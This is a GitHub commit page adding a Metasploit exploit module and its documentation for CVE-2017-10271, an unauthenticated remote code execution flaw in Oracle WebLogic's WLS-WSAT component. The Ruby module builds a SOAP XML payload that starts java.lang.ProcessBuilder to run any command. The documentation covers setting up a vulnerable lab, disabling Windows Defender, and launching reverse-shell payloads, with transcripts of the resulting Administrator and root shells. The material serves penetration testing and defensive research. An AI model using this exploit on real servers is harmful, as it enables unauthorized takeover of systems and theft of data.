Skip to content

Commit c390696

Browse files
committed
Land rapid7#9379, Oracle Weblogic RCE exploit and documentation
2 parents 309deb9 + 7b01785 commit c390696

File tree

2 files changed

+285
-0
lines changed

2 files changed

+285
-0
lines changed
Lines changed: 95 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,95 @@
1+
# Description
2+
3+
This module works leverages [CVE-2017-10271](https://nvd.nist.gov/vuln/detail/CVE-2017-10271) against Oracle WebLogic Server's Web Service Atomic Transaction API a XML SOAP request to create a `java.lang.ProcessBuilder` object to provide unauthenticated arbitrary command execution. A command line can be acquired through the use of `cmd/unix/reverse_python`.
4+
5+
Note that the TARGET must be set to match either a Windows or Unix-based host. If the TARGET variable is set improperly, a log entry will be generated on a vulnerable server, but the server will not crash. For example, a Linux payload sent to a Windows server will output:
6+
7+
```
8+
java.io.IOException: Cannot run program "/bin/sh": CreateProcess error=2, The system cannot find the file specified
9+
Continuing ...
10+
```
11+
12+
# Vulnerable Application
13+
14+
Oracle WebLogic server versions 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0 with access to Web Services Atomic Transaction (WS-AT) endpoints are vulnerable to unauthenticated arbitrary command execution.
15+
16+
### Windows: Setting up a vulnerable application
17+
18+
We successfully tested this exploit against a fully-patched, Windows 10 (x64) target. Since WebLogic is resource intensive, consider providing four cores and 8GB of RAM.
19+
20+
1. [Download](http://www.oracle.com/technetwork/middleware/weblogic/downloads/wls-main-097127.html) Oracle WebLogic Server 10.3.6, using the "Windows x86 with 32-bit JVM" (`wls1036_win32.exe`).
21+
2. Run the installer. (See [here] for detailed instructions.) You may be prompted to install a Java Development Kit (JDK). [JDK 8u151 x64](http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html) was verified working.
22+
3. Windows Defender will block the payload from executing, so you may need to [temporarily](https://support.microsoft.com/en-us/help/4027187/windows-turn-off-windows-defender-antivirus) or [permanently](https://www.windowscentral.com/how-permanently-disable-windows-defender-windows-10) disable it.
23+
4. Run the configuration wizard and [create a new weblogic domain](https://docs.oracle.com/cd/E29542_01/web.1111/e14140/newdom.htm#WLDCW192). Domain names and credentials are irrelevant. At the conclusion of the wizard, click "Start Admin Server".
24+
5. The `startWebLogic.cmd` should run immediately after the installer and present logging output. Once running, the window should output a line similar to the following
25+
```
26+
<Jan 11, 2018 1:30:49 PM CST> <Notice> <WebLogicServer> <BEA-000365> <Server state changed to RUNNING>
27+
<Jan 11, 2018 1:30:49 PM CST> <Notice> <WebLogicServer> <BEA-000360> <Server started in RUNNING mode>
28+
```
29+
30+
### Windows: Attacking a vulnerable application
31+
32+
Attack the above Windows server using the `exploit/multi/http/oracle_weblogic_wsat_deserialization_rce`:
33+
34+
```
35+
msf > use exploit/multi/http/oracle_weblogic_wsat_deserialization_rce
36+
msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > set RHOST [IP address of your target]
37+
msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > set TARGET 0
38+
msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > set PAYLOAD cmd/windows/reverse_powershell
39+
msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > set LHOST [IP address of your attacker]
40+
msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > run
41+
42+
[*] Started reverse TCP handler on 192.168.108.1:4444
43+
[*] Command shell session 1 opened (192.168.108.1:4444 -> 192.168.108.132:50060) at 2018-01-11 11:48:16 -0600
44+
45+
Microsoft Windows [Version 10.0.16299.192]
46+
(c) 2017 Microsoft Corporation. All rights reserved.
47+
48+
C:\Oracle\Middleware\user_projects\domains\admindomain>whoami
49+
weblogic-server\Administrator
50+
```
51+
52+
### Unix: Setting up a vulnerable environment
53+
54+
1. If necessary, install Docker.io. [These instructions](https://www.ptrace-security.com/2017/06/14/how-to-install-docker-on-kali-linux-2017-1/) were tested on a Kali 2017.3 VM:
55+
56+
```
57+
apt-key adv --keyserver hkp://p80.pool.sks-keyservers.net:80 --recv-keys 58118E89F3A912897C070ADBF76221572C52609D
58+
echo 'deb https://apt.dockerproject.org/repo debian-stretch main' > /etc/apt/sources.list.d/docker.list
59+
apt update
60+
apt-get install docker-engine
61+
service docker start
62+
docker run hello-world
63+
```
64+
65+
2. Install a container running Ubuntu 16.04 and WebLogic 10.3.6.0:
66+
```
67+
docker run -d -p7001:7001 -p80:7001 kkirsche/cve-2017-10271
68+
```
69+
70+
3. Confirm that the container is up.
71+
```
72+
docker ps
73+
```
74+
75+
### Unix: Attacking a vulnerable application
76+
77+
Attack the above Unix server using the `exploit/multi/http/oracle_weblogic_wsat_deserialization_rce`:
78+
79+
```
80+
msf > use exploit/multi/http/oracle_weblogic_wsat_deserialization_rce
81+
msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > set RHOST [IP address of the target]
82+
msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > set TARGET 1
83+
msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > set PAYLOAD cmd/unix/reverse_python
84+
msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > set LHOST [IP address of the attacker]
85+
msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > run
86+
87+
[*] Started reverse TCP handler on 192.168.108.1:4444
88+
[*] Command shell session 5 opened (192.168.108.1:4444 -> 192.168.108.129:51312) at 2018-01-11 11:46:49 -0600
89+
90+
id
91+
uid=0(root) gid=0(root) groups=0(root)
92+
```
93+
94+
# Credits
95+
Documentation originally written by Aaron Soto (@asoto-r7) and was edited by Kevin Kirsche (@kkirsche).
Lines changed: 190 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,190 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
# include Msf::Exploit::Remote::HttpServer
11+
12+
def initialize(info = {})
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'Oracle WebLogic wls-wsat Component Deserialization RCE',
17+
'Description' => %q(
18+
The Oracle WebLogic WLS WSAT Component is vulnerable to a XML Deserialization
19+
remote code execution vulnerability. Supported versions that are affected are
20+
10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0. Discovered by Alexey Tyurin
21+
of ERPScan and Federico Dotta of Media Service. Please note that SRVHOST, SRVPORT,
22+
HTTP_DELAY, URIPATH and related HTTP Server variables are only used when executing a check
23+
and will not be used when executing the exploit itself.
24+
),
25+
'License' => MSF_LICENSE,
26+
'Author' => [
27+
'Kevin Kirsche <d3c3pt10n[AT]deceiveyour.team>', # Metasploit module
28+
'Luffin', # Proof of Concept
29+
'Alexey Tyurin', 'Federico Dotta' # Vulnerability Discovery
30+
],
31+
'References' =>
32+
[
33+
['URL', 'https://www.oracle.com/technetwork/topics/security/cpuoct2017-3236626.html'], # Security Bulletin
34+
['URL', 'https://github.com/Luffin/CVE-2017-10271'], # Proof-of-Concept
35+
['URL', 'https://github.com/kkirsche/CVE-2017-10271'], # Standalone Exploit
36+
['CVE', '2017-10271'],
37+
['EDB', '43458']
38+
],
39+
'Platform' => %w{ win unix },
40+
'Arch' => [ ARCH_CMD ],
41+
'Targets' =>
42+
[
43+
[ 'Windows Command payload', { 'Arch' => ARCH_CMD, 'Platform' => 'win' } ],
44+
[ 'Unix Command payload', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ]
45+
],
46+
'DisclosureDate' => "Oct 19 2017",
47+
# Note that this is by index, rather than name. It's generally easiest
48+
# just to put the default at the beginning of the list and skip this
49+
# entirely.
50+
'DefaultTarget' => 0
51+
)
52+
)
53+
54+
register_options([
55+
OptString.new('TARGETURI', [true, 'The base path to the WebLogic WSAT endpoint', '/wls-wsat/CoordinatorPortType']),
56+
OptPort.new('RPORT', [true, "The remote port that the WebLogic WSAT endpoint listens on", 7001]),
57+
OptFloat.new('TIMEOUT', [true, "The timeout value of requests to RHOST", 20.0]),
58+
# OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the check payload', 10])
59+
])
60+
end
61+
62+
def cmd_base
63+
if target['Platform'] == 'win'
64+
return 'cmd'
65+
else
66+
return '/bin/sh'
67+
end
68+
end
69+
70+
def cmd_opt
71+
if target['Platform'] == 'win'
72+
return '/c'
73+
else
74+
return '-c'
75+
end
76+
end
77+
78+
79+
#
80+
# This generates a XML payload that will execute the desired payload on the RHOST
81+
#
82+
def exploit_process_builder_payload
83+
# Generate a payload which will execute on a *nix machine using /bin/sh
84+
xml = %Q{<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
85+
<soapenv:Header>
86+
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
87+
<java>
88+
<void class="java.lang.ProcessBuilder">
89+
<array class="java.lang.String" length="3" >
90+
<void index="0">
91+
<string>#{cmd_base}</string>
92+
</void>
93+
<void index="1">
94+
<string>#{cmd_opt}</string>
95+
</void>
96+
<void index="2">
97+
<string>#{payload.encoded.encode(xml: :text)}</string>
98+
</void>
99+
</array>
100+
<void method="start"/>
101+
</void>
102+
</java>
103+
</work:WorkContext>
104+
</soapenv:Header>
105+
<soapenv:Body/>
106+
</soapenv:Envelope>}
107+
end
108+
109+
#
110+
# This builds a XML payload that will generate a HTTP GET request to our SRVHOST
111+
# from the target machine.
112+
#
113+
def check_process_builder_payload
114+
xml = %Q{<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
115+
<soapenv:Header>
116+
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
117+
<java version="1.8" class="java.beans.XMLDecoder">
118+
<void id="url" class="java.net.URL">
119+
<string>#{get_uri.encode(xml: :text)}</string>
120+
</void>
121+
<void idref="url">
122+
<void id="stream" method = "openStream" />
123+
</void>
124+
</java>
125+
</work:WorkContext>
126+
</soapenv:Header>
127+
<soapenv:Body/>
128+
</soapenv:Envelope>}
129+
end
130+
131+
#
132+
# In the event that a 'check' host responds, we should respond randomly so that we don't clog up
133+
# the logs too much with a no response error or similar.
134+
#
135+
def on_request_uri(cli, request)
136+
random_content = '<html><head></head><body><p>'+Rex::Text.rand_text_alphanumeric(20)+'<p></body></html>'
137+
send_response(cli, random_content)
138+
139+
@received_request = true
140+
end
141+
142+
#
143+
# The exploit method connects to the remote service and sends a randomly generated string
144+
# encapsulated within a SOAP XML body. This will start an HTTP server for us to receive
145+
# the response from. This is based off of the exploit technique from
146+
# exploits/windows/novell/netiq_pum_eval.rb
147+
#
148+
# This doesn't work as is because MSF cannot mix HttpServer and HttpClient
149+
# at the time of authoring this
150+
#
151+
# def check
152+
# start_service
153+
#
154+
# print_status('Sending the check payload...')
155+
# res = send_request_cgi({
156+
# 'method' => 'POST',
157+
# 'uri' => normalize_uri(target_uri.path),
158+
# 'data' => check_process_builder_payload,
159+
# 'ctype' => 'text/xml;charset=UTF-8'
160+
# }, datastore['TIMEOUT'])
161+
#
162+
# print_status("Waiting #{datastore['HTTP_DELAY']} seconds to see if the target requests our URI...")
163+
#
164+
# waited = 0
165+
# until @received_request
166+
# sleep 1
167+
# waited += 1
168+
# if waited > datastore['HTTP_DELAY']
169+
# stop_service
170+
# return Exploit::CheckCode::Safe
171+
# end
172+
# end
173+
#
174+
# stop_service
175+
# return Exploit::CheckCode::Vulnerable
176+
# end
177+
178+
#
179+
# The exploit method connects to the remote service and sends the specified payload
180+
# encapsulated within a SOAP XML body.
181+
#
182+
def exploit
183+
send_request_cgi({
184+
'method' => 'POST',
185+
'uri' => normalize_uri(target_uri.path),
186+
'data' => exploit_process_builder_payload,
187+
'ctype' => 'text/xml;charset=UTF-8'
188+
}, datastore['TIMEOUT'])
189+
end
190+
end

0 commit comments

Comments
 (0)